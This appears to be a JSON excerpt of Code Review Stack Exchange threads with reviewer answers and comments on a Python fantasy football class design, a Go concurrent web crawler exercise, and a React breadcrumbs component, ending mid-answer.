goal=5,\n clean_sheet=1,\n played_90minutes=1,\n **asdict(Player.weights),\n )\n\n\nclass Forward(Player):\n @dataclass\n class Points(Player.Points):\n goal: float = 0\n played_90minutes: float = 0\n\n weights = Points(\n goal=4,\n played_90minutes=1,\n **asdict(Player.weights),\n )\n\n\ndef main():\n players = [\n Goalkeeper(\n name='Ederson', price=11.5, club='Man City',\n points=Goalkeeper.Points(\n pos_impact=0.65,\n neg_impact=0.20,\n yellow_card=0.05,\n clean_sheet=0.40,\n save=3,\n two_or_more_conceded=0.29,\n ),\n ),\n\n Defender(\n name='Sergio Reguilon', price=8.8, club='Tottenham',\n points=Defender.Points(\n pos_impact=0.52,\n neg_impact=0.26,\n yellow_card=0.10,\n assist=0.08,\n goal=0.03,\n clean_sheet=0.36,\n two_or_more_conceded=0.32,\n ),\n ),\n\n Midfielder(\n name='Jack Grealish', price=9.2, club='Aston Villa',\n points=Midfielder.Points(\n pos_impact=0.42,\n neg_impact=0.33,\n yellow_card=0.07,\n played_90minutes=0.80,\n assist=0.30,\n goal=0.35,\n clean_sheet=0.25,\n ),\n ),\n\n Forward(\n name='Neal Maupay', price=7.6, club='Brighton',\n points=Forward.Points(\n pos_impact=0.18,\n neg_impact=0.49,\n yellow_card=0.05,\n played_90minutes=0.65,\n assist=0.12,\n goal=0.26,\n ),\n ),\n ]\n\n Player.print_table(players)\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n<p>Simple, slightly-better-typed, and less repetitive.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T21:36:00.230", "Id": "500007", "Score": "0", "body": "Thanks for the review!\nAs far as `Weights` are concerned, where should I define them? At the class level of every player position?\nTalking about `early serialization`, I'm neither familiar with `@staticmethod` nor with `@dataclass`, could you provide an example of coding `player_comparison` one or another way?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T21:41:51.540", "Id": "500011", "Score": "0", "body": "Seems like you have used `self.weights` in calculating `total_points`, which implies that it is defined as an attribute of an instance of a class, rather than class level attribute. I don't understand why every instance should have its own `weights` instead of one per class." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:57:56.503", "Id": "500015", "Score": "1", "body": "There would be one `namedtuple` definition per class, so the definition could live as a static. `weights` would indeed be an instance attribute. I'll edit to show an example." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:12:27.043", "Id": "500018", "Score": "0", "body": "Scoring system is different for every position (class), rather than for every player (instance), so that it should be one per class. Having said that, why do you suggest making `weights` an instance attribute?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T04:07:18.503", "Id": "500115", "Score": "1", "body": "@KonstantinKostanzhoglo You'll see that in the example code I offer, `weights` is effectively the coefficients and `points` is the cost vector." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T12:05:30.190", "Id": "500139", "Score": "0", "body": "Yeah, now it totally makes sense to me." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T18:07:25.023", "Id": "253545", "ParentId": "253437", "Score": "2" } }, { "body": "<p>It looks like the only difference between the classes is the weights used in calculating the points. The player classes may have different weights defined and/or the weights may have different values. Let the weights be defines by class variables with names starting with <code>w_</code>. <code>__init__()</code> used <code>inspect.getmembers()</code> to find all the weights and create a dict of corresponding attributes. Attribute values can be set when a class is instantiated or using the <code>.update()</code> method.</p>\n<p>All the functionality is in the Player class. The specialized subclassed just add or change some weights.</p>\n<p>Code revised to add initial values. Class vars starting with <code>i_</code> are initial/default values for the corresponding attributes.</p>\n<pre><code>import inspect\n\nclass Player:\n w_assist = 3\n w_pos_impact = 1\n w_neg_impact = -1\n w_yellow_card = -1\n w_made_start = 1\n w_played_60minutes = 1\n \n i_made_start = 1\n i_played_60minutes = 0.95\n \n def __init__(self, name='', price=-1, club='', **kwargs):\n self.name = name\n self.price = price\n self.club = club\n self.points = 0\n self.value_ratio = 0\n \n self.attributes = {}\n for key, value in inspect.getmembers(self):\n if key.startswith('w_') and key[2:] not in self.attributes:\n self.attributes[key[2:]] = 0\n \n elif key.startswith('i_'):\n self.attributes[key[2:]] = value\n \n if kwargs:\n self.update(**kwargs)\n \n def update(self, **kwargs):\n for key, value in kwargs.items():\n if key in self.attributes:\n self.attributes[key] = value\n else:\n raise KeyError(f&quot;{self.name} doesn't have an attribute '{key}'&quot;)\n \n self.points = sum(v*getattr(self, f'w_{k}') for k,v in self.attributes.items())\n self.value_ratio = self.points / self.price\n\nclass Goalkeeper(Player):\n &quot;&quot;&quot;Class representing a goalkeeper in fantasy football.&quot;&quot;&quot;\n w_goal = 8\n w_clean_sheet = 4\n w_save = 0.5\n w_two_or_more_conceded = -1\n \n \n\nclass Defender(Player):\n &quot;&quot;&quot;Class representing a defender in fantasy football.&quot;&quot;&quot;\n w_goal = 6\n w_clean_sheet = 4\n w_two_or_more_conceded = -1\n \n \n\nclass Midfielder(Player):\n &quot;&quot;&quot;Class representing a midfielder in fantasy football.&quot;&quot;&quot;\n w_goal = 5\n w_clean_sheet = 1\n w_played_90minutes = 1\n \n \n\nclass Forward(Player):\n &quot;&quot;&quot;Class representing a forward in fantasy football.&quot;&quot;&quot;\n w_goal = 4\n w_played_90minutes = 1\n \n\n \ndef compare_players(players):\n header_fmt = '{:&lt;16} {:&lt;16} {:&lt;10} {:&lt;10} {:&lt;10}'.format\n table_fmt = '{:&lt;16} {:&lt;16} {:&lt;10.2f} {:&lt;10.2f} {:&lt;10.2f}'.format\n \n print(header_fmt(&quot;Name&quot;, &quot;Club&quot;, &quot;Points&quot;, &quot;Price&quot;, &quot;Value&quot;))\n print('='*72)\n\n for player in sorted(players, key=lambda p:p.value_ratio, reverse=True):\n print(table_fmt(player.name, player.club, player.points, player.price, player.value_ratio))\n\n\nif __name__ == &quot;__main__&quot;:\n\n # set attributes in the constructor\n ederson = Goalkeeper(name='Ederson', price=11.5, club='Man City',\n pos_impact=0.65,\n neg_impact=0.20,\n yellow_card=0.05,\n clean_sheet=0.40,\n save=3,\n two_or_more_conceded=0.29\n )\n \n # set attributes in .update()\n reguilon = Defender(name='Sergio Reguilon', price=8.8, club='Tottenham')\n reguilon.update(pos_impact=0.52,\n neg_impact=0.26,\n yellow_card=0.10,\n assist=0.08,\n goal=0.03,\n clean_sheet=0.36,\n two_or_more_conceded=0.32\n )\n \n # set some attributes in the constructor and others in .update()\n grealish = Midfielder(name='Jack Grealish', price=9.2, club='Aston Villa',\n played_90minutes=0.80,\n assist=0.30,\n goal=0.35,\n clean_sheet=0.25\n )\n grealish.update(pos_impact=0.42, neg_impact=0.33, yellow_card=0.07)\n \n\n maupay = Forward(name='Neal Maupay', price=7.6, club='Brighton',\n pos_impact=0.18,\n neg_impact=0.49,\n yellow_card=0.05,\n played_90minutes=0.65,\n assist=0.12,\n goal=0.26\n )\n\n players = [ederson, reguilon, grealish, maupay]\n\n compare_players(players)\n</code></pre>\n<p>Output:</p>\n<pre><code>Name Club Points Price Value \n========================================================================\nJack Grealish Aston Villa 5.67 9.20 0.62 \nNeal Maupay Brighton 3.64 7.60 0.48 \nEderson Man City 5.16 11.50 0.45 \nSergio Reguilon Tottenham 3.65 8.80 0.41 \n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T11:30:21.377", "Id": "500133", "Score": "0", "body": "Thanks for the review! Enjoyed your idea of using `inspect` and `update`.\nJust one thing: my code gets exactly 1 point more for each player, I'm wondering where you've lost it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T14:50:29.067", "Id": "500146", "Score": "1", "body": "This code seems to lose the OP's ability to define defaults per point variable." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T16:05:07.560", "Id": "500162", "Score": "0", "body": "@KonstantinKostanzhoglo, Possibly because I initialized all the attributes to zero, while you initialized `self.made_start = 1` and `self.played_60minutes = 0.95` in `Player.__init__()`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T16:48:02.077", "Id": "500164", "Score": "0", "body": "@Reinderien, that's true. Initial values could be added using `i_...` class vars and processing them in `Player.__init__()` similar to the `w_...` class vars. Or, have the `w_...` vars be a (weight, initial value) tuple and modify `__init__()` and the `sum(...)` call in `update()` accordingly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T16:49:27.597", "Id": "500165", "Score": "0", "body": "@RootTwo could you update the code to fix this?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T18:49:49.650", "Id": "500175", "Score": "0", "body": "@KonstantinKostanzhoglo, while revising the code, I noticed that you define `self.played_60minutes = 0.95` in `Player.__init__()`, but don't use `self.played_60minutes` in `Player.calculate_points()`. Is that intentional?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T19:15:46.527", "Id": "500176", "Score": "0", "body": "@RootTwo No, it isn't. Apparently I just forgot to include this. `Reinderien` had pointed out to that. Also I should have added some tests for `calculate_points()` to avoid situations like this." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:15:06.007", "Id": "253597", "ParentId": "253437", "Score": "3" } } ]
{ "AcceptedAnswerId": "253545", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T23:46:01.803", "Id": "253437", "Score": "5", "Tags": [ "python", "python-3.x", "object-oriented" ], "Title": "Basic modelling of a player in Fantasy Football via classes with inheritance" }
253437
<p>As part of the &quot;a tour of Go&quot; section on golang.org, I was trying to make a (formerly singlethreaded) web crawler parallelized using goroutines. I got it working but it doesn't seem to &quot;flow&quot; right; there's a bunch of duplicated code. Looking for advice as to how it can seem a bit more Go-literate.</p> <pre><code>package main import ( &quot;fmt&quot; &quot;sync&quot; ) type Fetcher interface { // Fetch returns the body of URL and // a slice of URLs found on that page. Fetch(url string) (body string, urls []string, err error) } type safeMap = struct { seen map[string]bool mu sync.Mutex remaining int } // Crawl uses fetcher to recursively crawl // pages starting with url, to a maximum of depth. func gci(url string, depth int, fetcher Fetcher, m *safeMap, fc chan string) { go crawl_int(url, depth, fetcher, m, fc) } func crawl_int(url string, depth int, fetcher Fetcher, m* safeMap, fc chan string) { if depth &gt; 0 { body, urls, err := fetcher.Fetch(url) //fc &lt;- fmt.Sprintf(&quot;Crawling %s\n&quot;, url) m.mu.Lock() defer m.mu.Unlock() if err != nil { fc &lt;- fmt.Sprintf(&quot;%v\n&quot;,err) } else { fc &lt;- fmt.Sprintf(&quot;found: %s %q %d\n&quot;, url, body, len(urls)) for _, u := range urls { _, found := m.seen[u] if !found { m.remaining += 1 m.seen[u] = true defer gci(u, depth-1, fetcher, m, fc) } } } } else { m.mu.Lock() defer m.mu.Unlock() } m.remaining -= 1 //fc &lt;- fmt.Sprintf(&quot;finished %s remaining to %d\n&quot;, url, m.remaining) if (m.remaining == 0) { //fc &lt;- fmt.Sprintf(&quot;closing&quot;) close(fc) } } func Crawl(url string, depth int, fetcher Fetcher, ch chan string) { // Fetches URLs in parallel. // Doesn't fetch the same URL twice. c := safeMap{seen: make(map[string]bool), remaining: 1} go crawl_int(url, depth, fetcher, &amp;c, ch) } func main() { ch := make(chan string,5) Crawl(&quot;https://golang.org/&quot;, 4, fetcher, ch) for u := range ch { fmt.Print(u) } } // fakeFetcher is Fetcher that returns canned results. type fakeFetcher map[string]*fakeResult type fakeResult struct { body string urls []string } func (f fakeFetcher) Fetch(url string) (string, []string, error) { if res, ok := f[url]; ok { return res.body, res.urls, nil } return &quot;&quot;, nil, fmt.Errorf(&quot;not found: %s&quot;, url) } // fetcher is a populated fakeFetcher. var fetcher = fakeFetcher{ &quot;https://golang.org/&quot;: &amp;fakeResult{ &quot;The Go Programming Language&quot;, []string{ &quot;https://golang.org/pkg/&quot;, &quot;https://golang.org/cmd/&quot;, }, }, &quot;https://golang.org/pkg/&quot;: &amp;fakeResult{ &quot;Packages&quot;, []string{ &quot;https://golang.org/&quot;, &quot;https://golang.org/cmd/&quot;, &quot;https://golang.org/pkg/fmt/&quot;, &quot;https://golang.org/pkg/os/&quot;, }, }, &quot;https://golang.org/pkg/fmt/&quot;: &amp;fakeResult{ &quot;Package fmt&quot;, []string{ &quot;https://golang.org/&quot;, &quot;https://golang.org/pkg/&quot;, }, }, &quot;https://golang.org/pkg/os/&quot;: &amp;fakeResult{ &quot;Package os&quot;, []string{ &quot;https://golang.org/&quot;, &quot;https://golang.org/pkg/&quot;, }, }, } </code></pre>
[]
[ { "body": "<p>OK, first off: back when go was first released, a lot of people criticised it for being <em>&quot;too opinionated&quot;</em>. The coding style was/is very specific (indentation, brackets, etc... are all standardised). This has turned out to be a great thing. Code written by anyone, provided they've used <code>gofmt</code> looks very similar. This resulted in code being easy to read regardless of who wrote it. In addition to the stuff <code>gofmt</code> takes care of, I would strongly recommend you look at <a href=\"https://github.com/golang/go/wiki/CodeReviewComments\" rel=\"nofollow noreferrer\">Golang Code Review comments</a> and adopt the recommendations listed there. Function names like <code>crawl_init</code> should be camelCased (<code>crawlInit</code>). In fact, the <code>init</code> part should probably be omitted. Acronyms like <code>gci</code> (which I assume is short for <em>&quot;go crawl init&quot;</em>) should be capitalised. I'll go through your code and change the names to their more idiomatic counterparts.</p>\n<h2>General comments</h2>\n<p>There's a couple of issues here. Your <code>crawl_init</code> function is closing the channel (<code>fc</code>). This is not where your channel should be closed. The rule of thumb is that channels are closed in the same scope as where they're created. Exceptions to this rule are not uncommon (e.g. closures), but 95% of the time, you'll close a channel either on the same level as where you create it, or in a function that has access to the scope creating the channel. Because you're recursively crawling URLs, it's more than likely a routine will end up reaching the point where it thinks it can close the channel, while another routine is still trying to write to it. This results in a data race, and a runtime panic. Something you'll want to avoid at all cost.</p>\n<p>Another comment I'd have is that you're keeping track of which URL's you've already checked using a map (<code>map[string]bool</code>). You quite rightly use a mutex to avoid concurrent access, but you're releasing the locks you acquire only if your function/routine returns (owing to your use of <code>defer</code>). The result is that you can spawn countless of routines, and you could even increase the channel buffer size to an insane number, but all routines will just wait until the lock is released, and execute sequentially. I suspect this is the reason why you created this <code>gci</code> function, and are invoking it in your <code>defer</code> stack, rather than just spawning the routine in place.<br>\nSomething worth noting here, too, is that <code>bool</code> is a type that takes up space. Not much, but it takes up memory. The language specification states that an empty struct (like <code>s := struct{}{}</code>) is a 0-byte value. If you need a map that keeps track of values you've already seen, then the keys are the only data that really matters. As such, using <code>map[string]struct{}</code> is a more efficient type.</p>\n<p>You're also initialising the map using <code>make(map[string]bool)</code>. There are times where you want to use make: e.g. cases where you know how big the map will need to be, and you want to cut down on the number of times the runtime will have to allocate additional memory. In those situations, you'll write something like <code>cpy := make(map[string]struct{}, len(src))</code>. When you don't know/care about allocation cycles, it's shorter (and more common) to just use a literal: <code>seen: map[string]struct{}{}</code>.</p>\n<p>In your comments, I couldn't help notice the use of the word <em>&quot;parallel&quot;</em>. It may seem like a distinction without a difference, but golang deals in concurrency, not parallelism. Some routines may actually run in separate threads, but that's not necessarily the case.</p>\n<p>With all this out of the way, let's get down to the actual code</p>\n<h2>The code</h2>\n<p>I'll just go through the code you have, and rework it + provide some clarification as to why I'm doing so. I've omitted the fetcher interface as it's not that pertinent to the code you've shared here</p>\n<pre><code>package main\n\nimport (\n &quot;context&quot; // added this\n &quot;fmt&quot;\n &quot;sync&quot;\n)\n\n// the = sign is invalid syntax, I assume that was a typo\n// type safeMap = struct {\ntype pathMap struct {\n URLs *sync.Map // use the sync.Map type, safe for concurrent use, and has some useful features for us\n wg *sync.WaitGroup // your remaining field is just tracking how many routines are running, aka a waitgroup\n}\n</code></pre>\n<p>Right, so this type has changed a lot. I've swapped out the mutex + map for a <code>sync.Map</code>. This type is designed to be safe for concurrent access, and has a nifty function: <code>LoadOrStore</code>. It will make it easy for us to check if we've seen a URL before, and if not, we atomically add it to the list, and can spin up a routine to crawl said URL.</p>\n<p>The <code>remaining</code> counter is just a manual way of tracking whether or not we've finished checking all the links, to then close the channel. Because we've gotten rid of the mutex, we would now be concurrently accessing this field. Something we don't want to do. Instead of faffing around with the <code>atomic</code> package, we can simply use the purpose-built <code>WaitGroup</code> type to achieve the exact same thing. Well, almost the same thing. The added bonus here is that we can outsource/delegate waiting for the work to be done to our caller, who can then close the channel, safe in the knowledge that all the work is done (and thus that no routine will be writing to the channel).</p>\n<p>So let's start crawling (logically, that means taking a look at the <code>Crawl</code> function):</p>\n<pre><code>// StartCrawl short description in this format, which automates the godoc generated documentation\n// we're returning the pageMap here, back to main so it can check for the waitgroup status\n// I moved Fetcher to the front, because it's kind of the critical &quot;thing&quot;\n// I've also changed the channel argument to a directional one.\n// this ensures nobody mistakenly adds code reading from this channel later on, and shows intent\n// I've also added a context argument, so you can cleanly exit on receiving a kill signal\nfunc StartCrawl(ctx context.Context, fetcher Fetcher, URL string, depth int, ch chan&lt;- string) *pageMap {\n c := &amp;pageMap{ // assign pointer\n URLs: &amp;sync.Map{},\n wg: &amp;sync.WaitGroup{},\n }\n // start crawling\n c.wg.Add(1) // adding 1 routine to the WaitGroup\n\n // passing on context, fetcher, pageMap, etc...\n // renamed crawl_init to crawl, this is basically the &quot;init&quot; function, after all\n go crawl(ctx, fetcher, c, URL, depth, ch)\n return c\n}\n</code></pre>\n<p>These changes are pretty self-explanatory, although this entire function simply passes through the arguments you already had, and now returns the <code>pageMap</code> back to the caller. This function is, clearly, extraneous, so we could move this all up to our <code>main</code> function. We'll do that at the end. If you were to try and compile this, you'll get an error where we're passing the channel. This <code>StartCrawl</code> function takes a <code>chan&lt;- string</code> argument (a write-only channel). the <code>crawl</code> function still expects a bi-directional channel (<code>chan string</code>). This isn't allowed, obviously. Because we want to make sure this channel isn't being read from, we've restricted it, and so we have to change the functions further down the call-chain, too. Let's do that now:</p>\n<pre><code>// func gci(){} is removed, it's a single call, wrapped in a function. this is inefficient, and silly\n\n// change arguments to match our previous changes\nfunc crawl(ctx context.Context, fetcher Fetcher, m *pageMap, URL string, depth int, ch chan&lt;- string) {\n defer m.wg.Done() // when this routine returns, update waitgroup\n\n body, URLs, err := fetcher.Fetch(URL)\n if err != nil {\n ch &lt;- fmt.Sprintf(&quot;Error fetching %s: %+v&quot;, URL, err) // add some more info\n return // we don't need to continue doing this here. get rid of the else\n }\n\n ch &lt;- fmt.Sprintf(&quot;URL %s - %q\\n found %d URLs&quot;, URL, body, len(URLs))\n // have we reached the &quot;deepest&quot; level?\n if depth &lt;= 1 {\n return // we have, exit the routine\n }\n\n // we still have more levels to go\n for _, URL := range URLs {\n // LoadOrStore returns true if the key (URL) already existed, if not it's added to the map\n if _, ok := m.URLs.LoadOrStore(URL, nil); !ok {\n // we have a new URL\n m.wg.Add(1) // we need to crawl this new page, so add new routine to the waitgroup\n // spin up the new routine, depth -1\n go crawl(ctx, fetcher, m, URL, depth-1, ch)\n }\n }\n}\n</code></pre>\n<p>So what we have here is a function that doesn't have to faff around with a mutex, doesn't have to use <code>defer</code> to spawn more routines, and doesn't contain a single <code>else</code>. We can just <em>end</em> our routine if an error occurs, or if we've reached the end of the depth/URLs we need to scrape. To my eye, at least, the code instantly looks a lot cleaner. Most importantly, though: we're not closing the channel in the routine that writes to it. Remember: channels can be shared between many routines (as indeed this channel is). To determine whether or not a channel is safe to be closed in one place, without it being aware of the existence of any of the other routines is tricky at best. So how do we know when to close this channel, and how can we wait for that moment, while still printing the output?</p>\n<p>That's quite easily done if we change our <code>main</code> function:</p>\n<pre><code>func main() {\n ctx, cfunc := context.WithCancel(context.Background())\n defer cfunc()\n done := make(chan struct{})\n ch := make(chan string, 5)\n // start waiting for values to print\n go func() {\n for s := range ch {\n fmt.Println(s)\n }\n close(done) // we're done printing\n }()\n crawler := StartCrawl(ctx, fetcher, &quot;https://golang.org/&quot;, 4, ch)\n crawler.wg.Done() // wait for the waitgroup to hit 0, indicating the work is done\n close(ch) // close the channel now that the work is done\n &lt;-done // wait for printing to be done\n // all done, return from main\n}\n</code></pre>\n<p>So that's it, then. We open and close the string channel in our main routine, read and print the data on our string channel in a dedicated routine, and use a simple 0-byte, non-buffered channel to force our main function to wait until everything is done so we can safely exit our program.</p>\n<p>You may have noticed that this <code>done</code> channel is created in the scope of <code>main</code>, but closed in a routine, despite my having just said this isn't always a good idea. The difference here is that the channel never leaves the scope of <code>main</code>, and is closed in a closure that has full access to the main scope. It's pretty obvious that, unless you start to pass around this very <code>done</code> channel around to countless other routines, this is perfectly safe.</p>\n<h2>What's next</h2>\n<p>So I've added this context argument to your code, and at the moment, it's just sitting there, doing nothing but forcing us to type more stuff. That's a bit annoying, for sure. Why, then, would we bother adding it?</p>\n<p>Put simply, if you run an application with many routines, it's reasonable to assume execution time can be variable, and sometimes it can take quite long for the application to finish doing whatever it's doing. Sometimes you (or your OS) may want to send a KILL or TERM signal to the process. In such an event, we want to be able to cleanly exit all the same: close the channels, stop doing what we're doing, etc... This is actually a very easy thing to do by cancelling the context. The context object basically can be used to store information about the <em>context</em> in which your application (or a subset thereof) runs. If the main process receives a kill signal, all routines should be notified, and should stop doing what they're doing. This is what that looks like in our code:</p>\n<pre><code>import(\n &quot;context&quot;\n &quot;fmt&quot;\n &quot;os&quot;\n &quot;os/signal&quot;\n &quot;sync&quot;\n)\n\nfunc main() {\n ctx, cfunc := context.WithCancel(context.Background())\n defer cfunc() // this ALWAYS needs to be called, multiple calls are fine\n sig := make(chan os.Signal, 1)\n // register channel so we get notified of kill/interrupt signals\n signal.Notify(sig, signal.Kill, signal.Interrupt)\n go func() {\n defer close(sig)\n select {\n case &lt;-sig: // we've received a signal\n cfunc() // cancel the context\n return\n case &lt;-ctx.Done(): // app terminated normally\n return\n }\n }()\n\n // this is the same as before\n done := make(chan struct{})\n ch := make(chan string, 5)\n go func() {\n for s := range ch {\n fmt.Println(s)\n }\n close(done)\n }()\n // no need for StartCrawl, let's just create it all in main\n crawler := &amp;pageMap{\n URLs: &amp;sync.Map{},\n wg: &amp;sync.WaitGroup{},\n }\n\n crawler.wg.Add(1)\n\n go crawl(ctx, fetcher, crawler, URL, depth, ch)\n\n crawler.wg.Done()\n close(ch)\n &lt;-done\n}\n</code></pre>\n<p>So we've gotten rid of the <code>StartCrawl</code> function, and added some code to set our program up to register signals (interrupt and kill) from our OS. When we get such a signal, the context is cancelled. Obviously, our <code>crawl</code> routine doesn't know about that just yet, so we have to make a few adjustments to the code there:</p>\n<pre><code>// write to channel, returns false if context is cancelled\nfunc writeChan(ctx context.Context, s string, ch chan&lt;- string) bool {\n // wait until either the context is cancelled, or we can write to the channel\n select {\n case &lt;-ctx.Done():\n return false\n case ch &lt;-s:\n return true\n }\n}\n\nfunc crawl(ctx context.Context, fetcher Fetcher, m *pageMap, URL string, depth int, ch chan&lt;- string) {\n defer m.wg.Done() // when this routine returns, update waitgroup\n\n body, URLs, err := fetcher.Fetch(URL)\n if err != nil {\n _ = writeChan(ctx, fmt.Sprintf(&quot;Error fetching %s: %+v&quot;, URL, err), ch)\n return\n }\n\n // depth reached, or context cancelled -&gt; return\n if ok := writeChan(ctx, fmt.Sprintf(&quot;URL %s - %q\\n found %d URLs&quot;, URL, body, len(URLs)), ch); !ok || depth &lt;= 1 {\n return\n }\n\n for _, URL := range URLs {\n if _, ok := m.URLs.LoadOrStore(URL, nil); !ok {\n select {\n case &lt;-ctx.Done():\n return // context cancelled\n default: // carry on as usual\n m.wg.Add(1)\n go crawl(ctx, fetcher, m, URL, depth-1, ch)\n }\n }\n }\n}\n</code></pre>\n<p>Now in real life, whatever this <code>Fetcher</code> is you're using, it's most likely going to be using an <code>net/http.Client</code> under the bonnet. You would pass the context to this client, or include that context in the request you're sending. Internally, the context will abort the request if the context is cancelled, so everything returns as early as possible. In that case, I wouldn't bother adding the <code>select</code> checking if the context is done before spawning the new routine, but I thought I'd include it here just for completeness sake.</p>\n<h2>Disclaimer</h2>\n<p>I've gone through your code a couple of times, but it's possible I didn't catch everything (the fetcher part, I've sort of ignored). All the code I wrote as part of my review was written off-the-cuff, with no testing, so it may contain bugs, typos, omissions, etc... The key thing here was to explain how I'd write this type of code, why, and provide some code snippets to serve as a decent starting point/illustration of what the code eventually would look like.</p>\n<p>Have fun.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T19:56:06.220", "Id": "253470", "ParentId": "253440", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T01:33:23.507", "Id": "253440", "Score": "2", "Tags": [ "multithreading", "go", "thread-safety", "concurrency" ], "Title": "Parallelized web crawler using goroutines and channels" }
253440
<p>I've written a breadcrumbs component (<code>RouteBreadcrumbs</code>) that has the following features/behavior:</p> <ul> <li>Takes in an array of labels for each breadcrumb (ex: <code>['Settings', 'System settings', 'Display']</code>. The component displays these labels in the order that they're placed in in the array.</li> <li>Assumes that the last label in the array represents the currently viewed page. For the rest of the labels that come before it, the user can click on one in order to navigate to that page.</li> <li>Gets the current path it is rendered in and parses it in order to assign the correct path for each breadcrumb (except the last one)</li> <li>If the current path does not contain enough &quot;subpaths&quot; to satisfy the number of labels passed in, I've chosen not to render the component. For example, the component would not render if the current path was only <code>/system-settings/display</code> when <code>labels</code> contained three items.</li> </ul> <p>Ultimately, the component would look like this when rendered (I haven't yet implemented the arrows between each breadcrumb):</p> <pre><code>Settings &gt; System settings &gt; Display </code></pre> <p>In this scenario, &quot;Display&quot; would be the currently viewed page. And the user would be able to click on &quot;Settings&quot; or &quot;System settings&quot; in order to jump to those respective pages.</p> <p>I'd love to get feedback on my implementation. I'm also interested in learning more about best coding practices and whether there are any strong code smells in my component (and if there is one, why it is considered a code smell).</p> <p>Some areas that I think might be code smells but am not really sure if they are or why they are:</p> <ul> <li>Calling <code>pathNameIdx--</code> both inside the <code>while</code> loop and then again once the loop is exited</li> <li>Having a <code>return</code> statement in multiple places in my component (in my case, in just two places)</li> <li>Using a regular <code>for</code> loop instead of other forms like <code>for..of</code>, <code>for..in</code>, or <code>.forEach</code>.</li> </ul> <pre><code>import React from &quot;react&quot;; import { useHistory, useLocation } from &quot;react-router-dom&quot;; const RouteBreadcrumbs = ({labels = []}) =&gt; { const location = useLocation(); const history = useHistory(); const pathName = location.pathname; const numBackslash = (pathName.match(/\//g) || []).length; if (numBackslash &lt; labels.length) { return null; } let breadcrumbPaths = []; let pathNameIdx = pathName.length - 1; for (let i = labels.length - 1; i &gt; 0 ; i--) { while ((pathName[pathNameIdx] !== &quot;/&quot;)) { console.assert(pathNameIdx &gt;= 0, &quot;pathNameIdx is no longer a valid index&quot;); pathNameIdx--; } const newPath = pathName.substring(0, pathNameIdx); breadcrumbPaths = [newPath, ...breadcrumbPaths]; pathNameIdx--; } return ( &lt;div&gt; {labels.map((label, idx) =&gt; &lt;h5 key={idx} onClick={idx &lt; breadcrumbPaths.length ? () =&gt; history.push(breadcrumbPaths[idx]) : null} className={&quot;label2&quot;}&gt;{label}&lt;/h5&gt;)} &lt;/div&gt; ) }; <span class="math-container">```</span> </code></pre>
[]
[ { "body": "<p>Your code is looking pretty good. Here's a handful of suggestions you could try:</p>\n<p>This part</p>\n<pre><code>{labels.map((label, idx) =&gt; &lt;h5 key={idx} onClick={idx &lt; breadcrumbPaths.length ? () =&gt; history.push(breadcrumbPaths[idx]) : null} className={&quot;label2&quot;}&gt;{label}&lt;/h5&gt;)}\n</code></pre>\n<p>is a really long line of code. Try breaking it up, it makes it easier to read.</p>\n<pre><code>{labels.map((label, idx) =&gt; (\n &lt;h5\n key={idx}\n onClick={\n idx &lt; breadcrumbPaths.length\n ? () =&gt; history.push(breadcrumbPaths[idx])\n : null\n }\n className={&quot;label2&quot;}\n &gt;\n {label}\n &lt;/h5&gt;\n))}\n</code></pre>\n<p>(I tend to prefer 2-space indentation with javascript and HTML as they both tend to be indentation heavy, and it seems to be a more common in the javascript community - so I'll use that in these examples)</p>\n<p>Also, refrain from using an index for an element key when possible (<a href=\"https://reactjs.org/docs/lists-and-keys.html\" rel=\"nofollow noreferrer\">the react docs</a> talk about why). You could instead use the breadcrumbPath, as that would be unique to each element, and the keys would correctly change when the path changes.</p>\n<pre><code>{labels.map((label, idx) =&gt; (\n &lt;h5\n key={breadcrumbPaths[idx]}\n onClick={...}\n className={&quot;label2&quot;}\n &gt;\n {label}\n &lt;/h5&gt;\n))}\n</code></pre>\n<p>You have some logic in there to calculate the number of backslashes a URL contains, but if you just wait a little bit on that early return, you will already have easy access to that number, as its the same as <code>breadcrumbsPath.length + 1</code></p>\n<pre><code>if (breadcrumbPaths.length + 1 &lt; labels.length) {\n return null;\n}\n</code></pre>\n<p>On that note, this function won't handle the case correctly when there's a leading slash on the URL (i.e. 'example.com/a/b/') - that'll need to be taken care of. If you use the above code snippet, then you will only need to fix this issue in one place instead of two - where you create the breadcrumbPaths array.</p>\n<p>To address your concern of having multiple returns: there's nothing wrong with having multiple returns like that in a function - in fact, it can often lead to cleaner code. Often, the alternative means large if-thens or flag variables, both of which are much harder to follow. I've heard that once upon a time a function with a single exit used to be something encouraged, but that's not the case anymore.</p>\n<p>Now onto the part that you probably care about most - what to do about that chunk of logic with the c-style for loop, and multiple <code>pathNameIdx--</code>s.</p>\n<p>First things first, I would probably break the meat of that logic out into a helper function. There's a lot of low-level work going on there that gets in the way of reading and understanding your component.</p>\n<p>Here's how your component might look after doing that</p>\n<pre><code>import React from &quot;react&quot;;\nimport { useHistory, useLocation } from &quot;react-router-dom&quot;;\n\nconst RouteBreadcrumbs = ({labels = []}) =&gt; {\n const location = useLocation();\n const history = useHistory();\n const pathName 